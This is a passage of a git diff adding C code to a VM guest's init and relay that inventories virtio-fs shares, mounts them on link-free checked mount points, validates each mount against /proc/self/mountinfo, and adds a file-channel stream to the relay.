<< match))) { result = -1; break; } /* an extra device, or one tag twice */ + seen |= 1u << match; + } + closedir(directory); + if (result != 0 || seen != (1u << set->count) - 1u) return -1; /* a declared tag no device carries */ + return virtio_fs_devices(sys_root) == (int)set->count ? 0 : -1; /* a virtio-fs device that published no tag is an extra device too */ +} + +/* ------------------------------------------------------------------------------------------------ mountinfo */ + +/* "ID PARENT MAJ:MIN ROOT MOUNTPOINT OPTIONS [OPTIONAL...] - FSTYPE SOURCE SUPEROPTIONS", one line per mount (proc(5)). */ +#define MI_FIELDS 32 +static int split(const char *line, size_t n, const char *field[MI_FIELDS], size_t size[MI_FIELDS]) { + int count = 0; + size_t at = 0; + while (at < n) { + size_t end = at; + while (end < n && line[end] != ' ') end++; + if (end == at || count == MI_FIELDS) return -1; /* an empty field (two spaces) or more fields than a mountinfo line has */ + field[count] = line + at; + size[count++] = end - at; + at = end + (end < n); + if (end < n && at == n) return -1; /* a trailing space */ + } + return count; +} + +static int same(const char *text, size_t n, const char *word) { return strlen(word) == n && memcmp(text, word, n) == 0; } + +static int copy(char *out, size_t capacity, const char *text, size_t n) { + if (n >= capacity) return -1; + memcpy(out, text, n); + out[n] = '\0'; + return 0; +} + +/* Counts the entries at `where` (when not NULL) or of `fstype` with source `source` (when `source` is not NULL); the last entry at `where` goes to *entry. */ +static int scan(const char *text, size_t length, const char *where, const char *fstype, const char *source, struct wg_mountinfo_entry *entry) { + int found = 0; + size_t at = 0; + while (at < length) { + const char *newline = memchr(text + at, '\n', length - at); + if (!newline) return -1; /* the kernel ends every line */ + size_t n = (size_t)(newline - (text + at)); + const char *line = text + at; + at += n + 1; + const char *field[MI_FIELDS]; + size_t size[MI_FIELDS]; + int count = split(line, n, field, size); + if (count < 10) return -1; + int separator = -1; + for (int i = 6; i < count; i++) if (same(field[i], size[i], "-")) { separator = i; break; } + if (separator < 0 || separator + 4 != count) return -1; + int at_where = where != NULL && same(field[4], size[4], where); + int of_tag = source != NULL && same(field[separator + 1], size[separator + 1], fstype) && same(field[separator + 2], size[separator + 2], source); + if (!at_where && !of_tag) continue; + found++; + if (at_where && entry != NULL) { + if (copy(entry->root, sizeof entry->root, field[3], size[3]) != 0 || copy(entry->mount_point, sizeof entry->mount_point, field[4], size[4]) != 0 || + copy(entry->options, sizeof entry->options, field[5], size[5]) != 0 || copy(entry->fstype, sizeof entry->fstype, field[separator + 1], size[separator + 1]) != 0 || + copy(entry->source, sizeof entry->source, field[separator + 2], size[separator + 2]) != 0 || + copy(entry->super_options, sizeof entry->super_options, field[separator + 3], size[separator + 3]) != 0) return -1; + } + } + return found; +} + +int wg_mountinfo_find(const char *text, size_t length, const char *where, struct wg_mountinfo_entry *entry) { + return scan(text, length, where, NULL, NULL, entry); +} + +/* How many comma-separated options of `list` are exactly `word` (with `prefix`: start with it). */ +static int options_named(const char *list, const char *word, int prefix) { + int found = 0; + size_t n = strlen(word); + for (const char *p = list; *p;) { + const char *comma = strchr(p, ','); + size_t length = comma ? (size_t)(comma - p) : strlen(p); + if (prefix ? (length >= n && memcmp(p, word, n) == 0) : (length == n && memcmp(p, word, n) == 0)) found++; + p += length + (comma != NULL); + } + return found; +} + +int wg_mountinfo_entry_ok(const char *text, size_t length, const char *where, const struct wg_share *share, const char *fstype, const char *source, const char *data_option) { + struct wg_mountinfo_entry entry; + /* exactly one mount at the path: none means the share is not mounted; two or more means it is stacked on, or under, another mount at the same point */ + if (wg_mountinfo_find(text, length, where, &entry) != 1) return -1; + if (strcmp(entry.root, "/") != 0 || strcmp(entry.fstype, fstype) != 0 || strcmp(entry.source, source) != 0) return -1; + if (options_named(entry.options, "ro", 0) != (share->read_only ? 1 : 0) || options_named(entry.options, "rw", 0) != (share->read_only ? 0 : 1)) return -1; + if (options_named(entry.options, "nosuid", 0) != 1 || options_named(entry.options, "nodev", 0) != 1) return -1; + if (options_named(entry.options, "noexec", 0) != (share->kind != WG_SHARE_FOLDER ? 1 : 0)) return -1; + /* R6 for a share: the fuse client prints the DAX mode it runs with; it must be exactly `never`, and no other option may name DAX. In general: the mount's own data + * option, exactly once, and no other option with its key. */ + const char *equals = strchr(data_option, '='); + char key[64]; + size_t key_length = equals ? (size_t)(equals - data_option) : strlen(data_option); + if (key_length == 0 || key_length >= sizeof key) return -1; + memcpy(key, data_option, key_length); + key[key_length] = '\0'; + if (options_named(entry.super_options, data_option, 0) != 1 || options_named(entry.super_options, key, 1) != 1) return -1; + if (scan(text, length, NULL, fstype, source, NULL) != 1) return -1; /* the source is mounted here and nowhere else */ + return 0; +} + +int wg_share_mountinfo_ok(const char *text, size_t length, const char *where, const struct wg_share *share) { + return wg_mountinfo_entry_ok(text, length, where, share, WG_SHARE_FSTYPE, share->tag, WG_SHARE_MOUNT_DATA); +} + +/* ------------------------------------------------------------------------------------------------ mount points and the alias */ + +/* Opens root + `directory` (an absolute guest path) component by component, never through a link; every component must be a directory owned by `owner`. + * With `create_last`, a missing last component is made (mode 0700 before the umask, owner by who makes it: PID 1). The root prefix itself is the caller's. */ +static int open_chain(const char *root, const char *directory, uid_t owner, int create_last) { + int current = open(root[0] ? root : "/", O_RDONLY | O_DIRECTORY | O_CLOEXEC); + if (current < 0) return -1; + const char *p = directory; + if (*p != '/') { close(current); return -1; } + p++; + while (*p) { + const char *slash = strchr(p, '/'); + size_t n = slash ? (size_t)(slash - p) : strlen(p); + char name[256]; + if (n == 0 || n >= sizeof name || (n == 1 && p[0] == '.') || (n == 2 && p[0] == '.' && p[1] == '.')) { close(current); return -1; } + memcpy(name, p, n); + name[n] = '\0'; + int last = slash == NULL; + int next = openat(current, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC); + if (next < 0 && last && create_last && errno == ENOENT) { + if (mkdirat(current, name, 0700) != 0 && errno != EEXIST) { close(current); return -1; } + next = openat(current, name, O_RDONLY | O_DIRECTORY | O_NOFOLLOW | O_CLOEXEC); + } + struct stat parent, st; + int ok = next >= 0 && fstat(current, &parent) == 0 && fstat(next, &st) == 0 && S_ISDIR(st.st_mode) && st.st_uid == owner; + /* the mount point is not a mount point yet: it sits on its parent's filesystem */ + if (ok && last) ok = st.st_dev == parent.st_dev; + close(current); + if (!ok) { if (next >= 0) close(next); return -1; } + current = next; + p += n + (slash != NULL); + } + return current; +} + +/* The checked mount point, held open: the mount goes through this descriptor, so nothing between the check and the mount can swap the directory. */ +static int mount_point_fd(const char *root, const struct wg_share *share, uid_t owner) { + /* Only a folder's mount point may be made here, and only directly below the skeleton's /workspace/folders; the Winter ones are the skeleton's own. */ + int create = share->kind == WG_SHARE_FOLDER; + if (create && (strncmp(share->guest_path, WG_SHARE_FOLDERS_PREFIX, sizeof WG_SHARE_FOLDERS_PREFIX - 1) != 0 || + strchr(share->guest_path + sizeof WG_SHARE_FOLDERS_PREFIX - 1, '/') != NULL)) return -1; + return open_chain(root, share->guest_path, owner, create); +} + +int wg_share_mount_point(const char *root, const struct wg_share *share, uid_t owner) { + int fd = mount_point_fd(root, share, owner); + if (fd < 0) return -1; + close(fd); + return 0; +} + +int wg_share_guidance_alias(const char *root, uid_t owner) { + int directory = open_chain(root, WG_SHARE_GUIDANCE_ALIAS_DIRECTORY, owner, 0); + if (directory < 0) return -1; + static const char target[] = WG_SHARE_GUIDANCE_ALIAS_TARGET; + int rc = 0; + if (symlinkat(target, directory, WG_SHARE_GUIDANCE_ALIAS_NAME) != 0 && errno != EEXIST) rc = -1; + /* made now or left by an earlier boot: it must be exactly this link, and PID 1's */ + struct stat st; + char text[sizeof target + 1]; + if (rc == 0 && (fstatat(directory, WG_SHARE_GUIDANCE_ALIAS_NAME, &st, AT_SYMLINK_NOFOLLOW) != 0 || !S_ISLNK(st.st_mode) || st.st_uid != owner)) rc = -1; + if (rc == 0) { + ssize_t n = readlinkat(directory, WG_SHARE_GUIDANCE_ALIAS_NAME, text, sizeof text); + if (n != (ssize_t)(sizeof target - 1) || memcmp(text, target, sizeof target - 1) != 0) rc = -1; + } + close(directory); + return rc; +} + +/* ------------------------------------------------------------------------------------------------ the step */ + +static char mountinfo[WG_MOUNTINFO_MAX]; + +static int where_of(const struct wg_share_ops *ops, const struct wg_share *share, char *out, size_t capacity) { + return join(out, capacity, ops->root, share->guest_path); +} + +int wg_mount_shares_as(const struct wg_share_ops *ops, const struct wg_share_set *set, unsigned *mounted, const char *fstype, const char *data) { + *mounted = 0; + if (wg_share_inventory(ops->sys_root, set) != 0) return WG_SHARES_INVENTORY; + char where[WG_SHARE_PATH_MAX + 4096], target[64]; + int fds[WG_SHARES_MAX]; + int result = WG_SHARES_MOUNT_FAILED; + for (unsigned i = 0; i < WG_SHARES_MAX; i++) fds[i] = -1; + for (unsigned i = 0; i < set->count; i++) + if ((fds[i] = mount_point_fd(ops->root, &set->item[i], ops->owner)) < 0) goto done; + for (unsigned i = 0; i < set->count; i++) { + /* the mount lands on the directory the walk checked (its descriptor, as /proc/self/fd/), never on a path resolved again */ + if (snprintf(target, sizeof target, "/proc/self/fd/%d", fds[i]) >= (int)sizeof target) goto rollback; + if (ops->mount(ops->ctx, set->item[i].tag, target, fstype, wg_share_mount_flags(&set->item[i]), data) != 0) goto rollback; + *mounted |= 1u << i; + } + long length = ops->read_mountinfo(ops->ctx, mountinfo, sizeof mountinfo); + if (length < 0) goto rollback; + for (unsigned i = 0; i < set->count; i++) { + if (where_of(ops, &set->item[i], where, sizeof where) != 0 || wg_mountinfo_entry_ok(mountinfo, (size_t)length, where, &set->item[i], fstype, set->item[i].tag, data) != 0) goto rollback; + } + for (unsigned i = 0; i < set->count; i++) + if (set->item[i].kind == WG_SHARE_GUIDANCE && wg_share_guidance_alias(ops->root, ops->owner) != 0) goto rollback; + result = WG_SHARES_MOUNTED; + goto done; +rollback: + for (unsigned i = set->count; i-- > 0;) { + if (!(*mounted & (1u << i))) continue; + if (where_of(ops, &set->item[i], where, sizeof where) == 0 && ops->umount(ops->ctx, where) == 0) *mounted &= ~(1u << i); + } +done: + for (unsigned i = 0; i < WG_SHARES_MAX; i++) if (fds[i] >= 0) close(fds[i]); + return result; +} + +int wg_mount_shares(const struct wg_share_ops *ops, const struct wg_share_set *set, unsigned *mounted) { + return wg_mount_shares_as(ops, set, mounted, WG_SHARE_FSTYPE, WG_SHARE_MOUNT_DATA); +} +#endif diff --git a/apple/Cowork/WinterCoworkGuest/init/shares.h b/apple/Cowork/WinterCoworkGuest/init/shares.h new file mode 100644 index 000000000..f589dca5c --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/init/shares.h @@ -0,0 +1,81 @@ +/* + * The guest side of host-backed shares (image with `file-channel-v1` only; written by PID 1). Design 2026-10-18 n2-extensions sections 2.1, 2.5 and R6. + * + * After the data volume is mounted and before the conversation set, PID 1 receives the validated share set from the helper and, in this order: + * 1. reads the virtio-fs tag inventory the kernel publishes (/fs/virtiofs//tag). It must equal the declared tags exactly: no extra, missing or + * repeated tag, and as many virtio devices of type 26 (virtio-fs) on the bus as there are tags, so a device the driver did not take is an extra device + * too. Anything else is `share_inventory`; + * 2. checks or makes each mount point. The three Winter mount points are the skeleton's (made with the data volume and /run); a folder's + * /workspace/folders/ is created when missing, root's, mode 0700 (PID 1's umask), below the skeleton's /workspace/folders, and never chowned or + * chmodded. Every component is opened without following a link; + * 3. mounts each tag on the checked mount point's descriptor (/proc/self/fd/, so the path is never resolved a second time): mount(tag, guestPath, "virtiofs", MS_NOSUID|MS_NODEV [|MS_RDONLY when read-only] [|MS_NOEXEC on guidance, memory and outputs], + * "dax=never"). Folder sources keep exec: builds run there; + * 4. checks every mount in /proc/self/mountinfo: exactly one mount at the guest path, the whole share (root "/"), fstype virtiofs, source the tag, `ro` + * exactly when read-only, nosuid and nodev, noexec exactly on a Winter share, and `dax=never` as the only DAX option; and no other mount of the tag; + * 5. makes the alias /workspace/.winter/WINTER.md, a root-owned symlink to /run/winter/shared-instructions/WINTER.md, when the guidance share is in the set + * (an existing alias is kept only if it is exactly that link). + * Any failure after a mount unmounts what this step mounted (the last first). Nothing here ever changes the owner or mode of a mount point or of anything on + * a share: the host serves shares under simplified ownership, so guest ownership and modes there are no boundary (test_shares.py holds that). + * Portable POSIX: the native tests run it against a temporary tree, a fake sysfs and a recorded mount table. + */ +#ifndef WG_SHARES_H +#define WG_SHARES_H + +#include +#include + +#include "boot.h" + +#ifdef WG_FILE_CHANNEL_V1 +#define WG_SHARE_FSTYPE "virtiofs" +#define WG_SHARE_MOUNT_DATA "dax=never" +#define WG_SHARE_GUIDANCE_ALIAS_DIRECTORY "/workspace/.winter" +#define WG_SHARE_GUIDANCE_ALIAS_NAME "WINTER.md" +#define WG_SHARE_GUIDANCE_ALIAS_TARGET "/run/winter/shared-instructions/WINTER.md" +#define WG_VIRTIO_FS_DEVICE_ID "0x001a" +#define WG_MOUNTINFO_MAX 65536u + +struct wg_share_ops { + void *ctx; + const char *root; /* "" in PID 1: a guest path P is the path root + P (the native tests point it at a temporary tree) */ + const char *sys_root; /* "/sys" */ + int (*mount)(void *ctx, const char *source, const char *target, const char *fstype, unsigned long flags, const char *data); + int (*umount)(void *ctx, const char *target); + /* the whole of /proc/self/mountinfo into out (no terminator needed); its length, or -1 (also when it does not fit) */ + long (*read_mountinfo)(void *ctx, char *out, size_t capacity); + uid_t owner; /* the owner of every directory on the way to a mount point, and of the alias: 0 in PID 1 */ +}; + +/* The mount(2) flags of one share (WG_MS_* values, mounts.h). */ +unsigned long wg_share_mount_flags(const struct wg_share *share); + +/* 0 when the virtio-fs inventory under sys_root is exactly the set's tags (step 1). */ +int wg_share_inventory(const char *sys_root, const struct wg_share_set *set); + +/* One mountinfo entry as the kernel prints it, the fields this module judges. */ +struct wg_mountinfo_entry { + char root[256], mount_point[256], options[256], fstype[64], source[256], super_options[512]; +}; +/* How many entries of `text` are mounted at `where`; the last one is copied into *entry (when not NULL). -1 for a line that is not a mountinfo line. */ +int wg_mountinfo_find(const char *text, size_t length, const char *where, struct wg_mountinfo_entry *entry); +/* 0 when `text` shows `share` mounted at `where` exactly as step 4 requires. */ +int wg_share_mountinfo_ok(const char *text, size_t length, const char *where, const struct wg_share *share); +/* The same check for any filesystem: `fstype`, mount source `source`, and the mount's one data option `data_option` (KEY=VALUE: present once, no other KEY option). + * wg_share_mountinfo_ok is this with virtiofs, the tag and dax=never; the root-only CI tests run it on the kernel's own output for a real mount. */ +int wg_mountinfo_entry_ok(const char *text, size_t length, const char *where, const struct wg_share *share, const char *fstype, const char *source, const char *data_option); + +/* Step 2 for one share. 0 when the mount point is in place. */ +int wg_share_mount_point(const char *root, const struct wg_share *share, uid_t owner); + +/* Step 5. 0 when the alias exists and is exactly the expected link. */ +int wg_share_guidance_alias(const char *root, uid_t owner); + +/* Steps 1 to 5. Returns WG_SHARES_MOUNTED, WG_SHARES_INVENTORY or WG_SHARES_MOUNT_FAILED; *mounted as in boot.h's mount_shares. Each mount's target is the + * descriptor of the mount point the walk checked (/proc/self/fd/). PID 1 calls only this. */ +int wg_mount_shares(const struct wg_share_ops *ops, const struct wg_share_set *set, unsigned *mounted); +/* The same step with another filesystem type and data option: wg_mount_shares is this with virtiofs and dax=never. Only the root-only CI test calls it, to run the + * whole step for real (tmpfs) on a runner that has no virtio-fs device. */ +int wg_mount_shares_as(const struct wg_share_ops *ops, const struct wg_share_set *set, unsigned *mounted, const char *fstype, const char *data); +#endif + +#endif diff --git a/apple/Cowork/WinterCoworkGuest/init/trusted_config.c b/apple/Cowork/WinterCoworkGuest/init/trusted_config.c index 7bf9f0fff..cc38d2225 100644 --- a/apple/Cowork/WinterCoworkGuest/init/trusted_config.c +++ b/apple/Cowork/WinterCoworkGuest/init/trusted_config.c @@ -265,6 +265,23 @@ enum wg_config_result wg_build_trusted_config(const char *boot_id, const char *b return WG_CONFIG_OK; } +#ifdef WG_FILE_CHANNEL_V1 +int wg_add_file_channel(char *config, size_t length, size_t capacity, uint32_t browse_uid, uint64_t data_device, size_t *out_length) { + if (browse_uid < 1000u || browse_uid > 65533u || data_device == 0 || length < 2 || config[length - 1] != '}' || config[0] != '{') return -1; + if (top_level_key(config, length, "fileChannel") != 0) return -1; + char member[96]; + int n = snprintf(member, sizeof member, ",\"fileChannel\":{\"browseUid\":%u,\"dataDevice\":%llu}", (unsigned)browse_uid, (unsigned long long)data_device); + const char *text = member; + if (length == 2 && n > 0) { text++; n--; } /* an empty object takes the member without the comma */ + if (n < 0 || (size_t)n >= sizeof member || length - 1 + (size_t)n + 1 >= capacity || length - 1 + (size_t)n > WG_CONFIG_MAX_BYTES) return -1; + memcpy(config + length - 1, text, (size_t)n); + config[length - 1 + (size_t)n] = '}'; + config[length + (size_t)n] = '\0'; + if (out_length) *out_length = length + (size_t)n; + return 0; +} +#endif + /* Test seams exist only in a build that defines WG_TEST_SEAMS (the native tests do; build.py never does, and a hygiene test pins that). In the production * binary the config is synced by a direct fsync(2) and there is no hook and no writable pointer. */ #ifdef WG_TEST_SEAMS diff --git a/apple/Cowork/WinterCoworkGuest/init/trusted_config.h b/apple/Cowork/WinterCoworkGuest/init/trusted_config.h index 8fd923acb..7ec84db1e 100644 --- a/apple/Cowork/WinterCoworkGuest/init/trusted_config.h +++ b/apple/Cowork/WinterCoworkGuest/init/trusted_config.h @@ -17,6 +17,7 @@ #define WG_TRUSTED_CONFIG_H #include +#include #define WG_CONFIG_MAX_BYTES 60000u /* the supervisor refuses more than 65536 */ #define WG_CONFIG_BASE_MAX 8192u @@ -57,6 +58,12 @@ int wg_runtime_block_valid(unsigned profile, const char *text, size_t length); * conversations text names exactly `count` of them, each WG_GUIDANCE_DIRECTORY; for any other profile it names none. Returns 1 when that holds. */ int wg_guidance_members_ok(unsigned profile, unsigned count, const char *conversations, size_t length); +#ifdef WG_FILE_CHANNEL_V1 +/* Adds `"fileChannel":{"browseUid":N,"dataDevice":D}` as the last member of a config built above (image with `file-channel-v1` only). `browse_uid` must be in the + * contract's unixId range and `data_device` non-zero; the config must not already name `fileChannel` (the static part is not allowed to). 0 = added. */ +int wg_add_file_channel(char *config, size_t length, size_t capacity, uint32_t browse_uid, uint64_t data_device, size_t *out_length); +#endif + /* A single balanced printable-ASCII JSON text of the given kind ('{' or '['), string-aware. */ int wg_json_text_shape(const char *text, size_t length, char opening, size_t maximum); int wg_boot_id_ok(const char *text); diff --git a/apple/Cowork/WinterCoworkGuest/relay/relay.c b/apple/Cowork/WinterCoworkGuest/relay/relay.c index 5e3dd3564..9507d5669 100644 --- a/apple/Cowork/WinterCoworkGuest/relay/relay.c +++ b/apple/Cowork/WinterCoworkGuest/relay/relay.c @@ -16,6 +16,9 @@ * or for a conversation outside the delivered set, they end the stream. OUT and ERR are read only after the bootstrap-up * `runtime_ready` has been framed, so the host never sees runtime output before it. * * sends a control-up `fault` when PID 1 asks ('X'), and when the host's stream violates the contract (best effort). + * * with WG_FILE_CHANNEL_V1 only (an image that declares the runtime capability `file-channel-v1`; the production build does not): streams 4 and 5 on + * conversation 0, the supervisor's FILE_IN and FILE_OUT pipes (`--file-in` and `--file-out`). FILE_IN goes down through its own 256 KiB ring and its own flow rule + * (common/fileflow.c), FILE_OUT comes back as stream 5, a drain closes FILE_IN FIRST (before PID 1 is told), and FILE_OUT's end is framed before `halting`. * Every queue is bounded; overflow, a malformed frame or a vanished peer ends the process, and PID 1 then stops the guest. * * Production reads the port with plain read(2) because the port is a character device and cannot carry descriptors; the @@ -25,6 +28,9 @@ #include "../common/ctl.h" #include "../common/ring.h" #include "../common/wmx.h" +#ifdef WG_FILE_CHANNEL_V1 +#include "../common/fileflow.h" +#endif #include #include @@ -66,6 +72,15 @@ static uint8_t rt_in_storage[4u * 1024u * 1024u]; /* The host keeps runtime IN in flight (sent with no OUT or ERR byte received since) at or below 1 MiB (contract section 6.2, runtime-flow.json); a quarter of this queue. */ #define RUNTIME_IN_FLIGHT_LIMIT (1024u * 1024u) _Static_assert(sizeof rt_in_storage >= 4u * RUNTIME_IN_FLIGHT_LIMIT, "the IN queue must stay at least four times the host's in-flight bound"); +#ifdef WG_FILE_CHANNEL_V1 +/* FILE_IN has its own ring, four times the most the host may have outstanding (4 request lines of 16 KiB), and never joins the runtime IN queue. */ +static uint8_t file_in_storage[256u * 1024u]; +_Static_assert(sizeof file_in_storage == 4u * WG_FILE_IN_FLIGHT * WG_FILE_REQUEST_BYTES, "the FILE_IN ring is four times the host's file in-flight bound"); +static struct wg_ring file_in_ring; +static struct wg_fileflow file_flow; +static int file_in_fd = -1, file_out_fd = -1; +static int file_active, file_in_ended, file_out_end_sent; +#endif static uint8_t ctl_out_storage[128u * 1024u]; static uint8_t ctl_payload[CTL_MAX_PAYLOAD]; static uint8_t frame_scratch[WMX_HEADER_BYTES + WMX_RUNTIME_PREFIX_BYTES + CTL_MAX_PAYLOAD]; @@ -186,6 +201,15 @@ static void fatal_status(enum wmx_status status) { die(EXIT_WMX_BASE + (int)status, 1, status); } +#ifdef WG_FILE_CHANNEL_V1 +/* The relay holds the only write end of FILE_IN. Closing it is what the supervisor reads as "the host closed its port". */ +static void close_file_in(void) { + if (file_in_fd >= 0) { close(file_in_fd); file_in_fd = -1; } + wg_ring_clear(&file_in_ring); +} +static void finish_file_out(void); +#endif + static void handle_control(const uint8_t *payload, size_t length) { struct wmx_control control; enum wmx_status status = wmx_parse_control(payload, length, WMX_DOWN, &control); @@ -205,6 +229,9 @@ static void handle_control(const uint8_t *payload, size_t length) { } draining = 1; memcpy(drain_nonce, control.stop_nonce, sizeof drain_nonce); +#ifdef WG_FILE_CHANNEL_V1 + close_file_in(); /* FIRST, before PID 1 hears of the drain: the file service sees the host's port close and stops answering */ +#endif uint8_t message[CTL_DRAIN_PAYLOAD_BYTES]; memcpy(message, control.stop_nonce, WMX_NONCE_CHARS); message[32] = (uint8_t)control.budget_ms; message[33] = (uint8_t)(control.budget_ms >> 8); @@ -230,6 +257,18 @@ static void handle_frame(void) { struct wmx_runtime_prefix prefix; status = wmx_parse_runtime_payload(rx.payload, rx.current.length, WMX_DOWN, &prefix); if (status != WMX_OK) fatal_status(status); +#ifdef WG_FILE_CHANNEL_V1 + if (prefix.stream == WMX_STREAM_FILE_IN) { + /* Conversation 0 only is the codec's rule. The stream exists only once PID 1 said the file service is up, and not after its end. */ + if (!file_active || file_in_ended) fatal_status(WMX_BAD_FIELD); + if (prefix.end) file_in_ended = 1; + size_t request = rx.current.length - WMX_RUNTIME_PREFIX_BYTES; + status = wg_fileflow_request(&file_flow, rx.payload + WMX_RUNTIME_PREFIX_BYTES, request); + if (status != WMX_OK) fatal_status(status); + if (wg_ring_put(&file_in_ring, rx.payload + WMX_RUNTIME_PREFIX_BYTES, request) != 0) die(EXIT_OVERFLOW, 1, WMX_OVERSIZE); + break; + } +#endif /* Not delivered yet (the host speaks before `runtime_ready`), outside the delivered set, or after the stream's end. */ if (!runtime_open || (int)prefix.conversation >= runtime_streams || in_ended) fatal_status(WMX_BAD_FIELD); if (prefix.end) in_ended = 1; @@ -290,6 +329,9 @@ static void on_ctl_message(void) { nonce[WMX_NONCE_CHARS] = '\0'; if (!draining || strcmp(nonce, drain_nonce) != 0 || (tag == CTL_DRAIN_ACK ? drain_acked : (!drain_acked || halting)) || faulted) die(EXIT_STATE, 1, WMX_BAD_FIELD); +#ifdef WG_FILE_CHANNEL_V1 + if (tag == CTL_HALTING) finish_file_out(); /* the host sees the file service's end BEFORE `halting` */ +#endif struct wmx_control message; memset(&message, 0, sizeof message); message.type = tag == CTL_DRAIN_ACK ? WMX_CONTROL_DRAIN_ACK : WMX_CONTROL_HALTING; @@ -299,9 +341,17 @@ static void on_ctl_message(void) { halting = 1; flush_blocking_and_report(); } else if (tag == CTL_RUNTIME_GO) { +#ifdef WG_FILE_CHANNEL_V1 + /* bit 0: one host-query conversation's runtime streams exist; bit 1: the supervisor has a file service (PID 1 passed it --file-channel-fds) */ + if (length != 1 || ctl_reader.payload[0] > 3 || runtime_open || draining) die(EXIT_STATE, 1, WMX_BAD_FIELD); + file_active = (ctl_reader.payload[0] & 2) != 0; + runtime_open = 1; + runtime_streams = ctl_reader.payload[0] & 1; +#else if (length != 1 || ctl_reader.payload[0] > 1 || runtime_open || draining) die(EXIT_STATE, 1, WMX_BAD_FIELD); runtime_open = 1; runtime_streams = ctl_reader.payload[0]; +#endif if (!runtime_streams) { rt_out_eof = rt_err_eof = 1; out_end_sent = err_end_sent = 1; rt_in_dead = 1; } } else if (tag == CTL_FAULT) { if ((length != 1 && length != 1 + WMX_NONCE_CHARS) || ctl_reader.payload[0] < WMX_FAULT_UNMOUNT_FAILED || ctl_reader.payload[0] > WMX_FAULT_INTERNAL || faulted || halting) @@ -328,11 +378,21 @@ static void check_descriptor(int fd, int want_fifo, const char *role) { if (want_fifo && !S_ISFIFO(st.st_mode)) die(EXIT_DESCRIPTOR, 0, WMX_OK); } +#ifdef WG_FILE_CHANNEL_V1 +#define DESCRIPTORS 8 +#else +#define DESCRIPTORS 6 +#endif + static void reject_stray_descriptors(void) { - int allowed[6] = { port_fd, ctl_in_fd, ctl_out_fd, rt_in_fd, rt_out_fd, rt_err_fd }; + int allowed[DESCRIPTORS] = { port_fd, ctl_in_fd, ctl_out_fd, rt_in_fd, rt_out_fd, rt_err_fd +#ifdef WG_FILE_CHANNEL_V1 + , file_in_fd, file_out_fd +#endif + }; for (int fd = 3; fd < MAX_STRAY_SCAN; fd++) { int known = 0; - for (int i = 0; i < 6; i++) known |= allowed[i] == fd; + for (int i = 0; i < DESCRIPTORS; i++) known |= allowed[i] == fd; if (!known && fcntl(fd, F_GETFD) != -1) die(EXIT_STRAY_FD, 0, WMX_OK); } } @@ -344,10 +404,18 @@ static int parse_fd(const char *text) { } static void parse_arguments(int argc, char **argv) { - static const char *const names[6] = { "--port", "--ctl-in", "--ctl-out", "--rt-in", "--rt-out", "--rt-err" }; - int *slots[6] = { &port_fd, &ctl_in_fd, &ctl_out_fd, &rt_in_fd, &rt_out_fd, &rt_err_fd }; - if (argc != 13) _exit(EXIT_ARGUMENTS); - for (int i = 0; i < 6; i++) { + static const char *const names[DESCRIPTORS] = { "--port", "--ctl-in", "--ctl-out", "--rt-in", "--rt-out", "--rt-err" +#ifdef WG_FILE_CHANNEL_V1 + , "--file-in", "--file-out" +#endif + }; + int *slots[DESCRIPTORS] = { &port_fd, &ctl_in_fd, &ctl_out_fd, &rt_in_fd, &rt_out_fd, &rt_err_fd +#ifdef WG_FILE_CHANNEL_V1 + , &file_in_fd, &file_out_fd +#endif + }; + if (argc != 1 + 2 * DESCRIPTORS) _exit(EXIT_ARGUMENTS); + for (int i = 0; i < DESCRIPTORS; i++) { if (strcmp(argv[1 + 2 * i], names[i]) != 0) _exit(EXIT_ARGUMENTS); *slots[i] = parse_fd(argv[2 + 2 * i]); if (*slots[i] < 0) _exit(EXIT_ARGUMENTS); @@ -368,6 +436,39 @@ static void pump_up(int fd, enum wmx_stream stream, int *end_sent) { } } +#ifdef WG_FILE_CHANNEL_V1 +/* One read of the supervisor's FILE_OUT pipe, framed as stream 5; its end becomes an empty frame with the end flag. The supervisor is the guest's own, so a response the + * flow rule refuses (a byte with no request outstanding, a line over 384 KiB) is a broken guest, not a host violation: the relay leaves and PID 1 stops the guest. */ +static void pump_file_out(void) { + ssize_t n = read(file_out_fd, up_chunk + WMX_RUNTIME_PREFIX_BYTES, RUNTIME_CHUNK); + if (n > 0) { + enum wmx_status status = wg_fileflow_response(&file_flow, up_chunk + WMX_RUNTIME_PREFIX_BYTES, (size_t)n); + if (status != WMX_OK) die(EXIT_STATE, 1, status); + wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 0); + enqueue_up(WMX_CLASS_RUNTIME, up_chunk, WMX_RUNTIME_PREFIX_BYTES + (size_t)n); + } else if (n == 0 || (errno != EAGAIN && errno != EINTR)) { + wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 1); + enqueue_up(WMX_CLASS_RUNTIME, up_chunk, WMX_RUNTIME_PREFIX_BYTES); + file_out_end_sent = 1; + } +} + +/* Before `halting` the supervisor is gone (PID 1 stops it first): whatever it wrote is read to the end, and FILE_OUT's end is framed exactly once. */ +static void finish_file_out(void) { + if (!file_active || !runtime_ready_framed) return; + while (!file_out_end_sent && wg_ring_free(&out_ring) >= RUNTIME_GATE) { + size_t before = wg_ring_used(&out_ring); + pump_file_out(); + if (!file_out_end_sent && wg_ring_used(&out_ring) == before) break; /* nothing more to read now (a writer is still open) */ + } + if (!file_out_end_sent) { + wmx_write_runtime_prefix(up_chunk, 0, WMX_STREAM_FILE_OUT, 1); + enqueue_up(WMX_CLASS_RUNTIME, up_chunk, WMX_RUNTIME_PREFIX_BYTES); + file_out_end_sent = 1; + } +} +#endif + int main(int argc, char **argv) { parse_arguments(argc, argv); signal(SIGPIPE, SIG_IGN); @@ -387,9 +488,17 @@ int main(int argc, char **argv) { check_descriptor(rt_in_fd, 1, "rt-in"); check_descriptor(rt_out_fd, 1, "rt-out"); check_descriptor(rt_err_fd, 1, "rt-err"); +#ifdef WG_FILE_CHANNEL_V1 + check_descriptor(file_in_fd, 1, "file-in"); + check_descriptor(file_out_fd, 1, "file-out"); +#endif reject_stray_descriptors(); - int all[6] = { port_fd, ctl_in_fd, ctl_out_fd, rt_in_fd, rt_out_fd, rt_err_fd }; - for (int i = 0; i < 6; i++) if (set_nonblocking(all[i], 1) != 0) die(EXIT_DESCRIPTOR, 0, WMX_OK); + int all[DESCRIPTORS] = { port_fd, ctl_in_fd, ctl_out_fd, rt_in_fd, rt_out_fd, rt_err_fd +#ifdef WG_FILE_CHANNEL_V1 + , file_in_fd, file_out_fd +#endif + }; + for (int i = 0; i < DESCRIPTORS; i++) if (set_nonblocking(all[i], 1) != 0) 